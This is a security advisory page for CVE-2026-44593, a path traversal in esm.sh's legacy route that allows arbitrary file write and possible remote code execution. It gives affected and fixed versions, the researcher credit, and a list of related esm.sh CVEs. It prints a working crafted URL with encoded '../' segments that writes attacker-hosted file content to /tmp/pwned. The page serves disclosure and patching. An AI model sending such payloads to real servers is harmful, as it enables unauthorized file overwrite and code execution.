CVE-2026-44593: esm.sh: Legacy Route Path Traversal Can Lead to RCE
Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
Published May 12, 2026 · Updated Jun 9, 2026
Affected packages
github.com/esm-dev/esm.sh
- Ecosystem
- Go
- Affected
- < 0.0.0-20260508100112-1960055e1d53
- Fixed in
- 0.0.0-20260508100112-1960055e1d53
- Check
go list -m github.com/esm-dev/esm.sh
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
Exploit
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put (see ).
For a URL such as:
http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwnedthe router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedWhen this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
Details
- URL Construction A crafted request is sent to the server: ``
http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned``
- Proxy to Legacy Server The request is forwarded to: ``
http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned`which resolves to:`http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md``
- File Retrieval The server fetches
foo.mdfrom the GitHub repositoryhttps://github.com/<attacker>/exp.
- Path Normalisation & Storage The storage path derived from the request is: ``
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned`Normalising this path yields/tmp/pwned`. The retrieved file content is then written to that location.
- Result By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.
Credit Discovery To
splitline (@\_splitline\_) from DEVCORE Research Team
Credited to splitline.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-44594
esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files
high7.5May 12, 2026CVE-2025-50180
esm.sh is vulnerable to full-response SSRF
high8.7Feb 25, 2026CVE-2026-27730
esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route
high8.6Feb 25, 2026CVE-2026-23644
esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
high7.7No fixJan 20, 2026CVE-2025-65025
esm.sh CDN service has arbitrary file write via tarslip
high8.2Nov 19, 2025CVE-2025-65026
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
medium6.1Nov 19, 2025
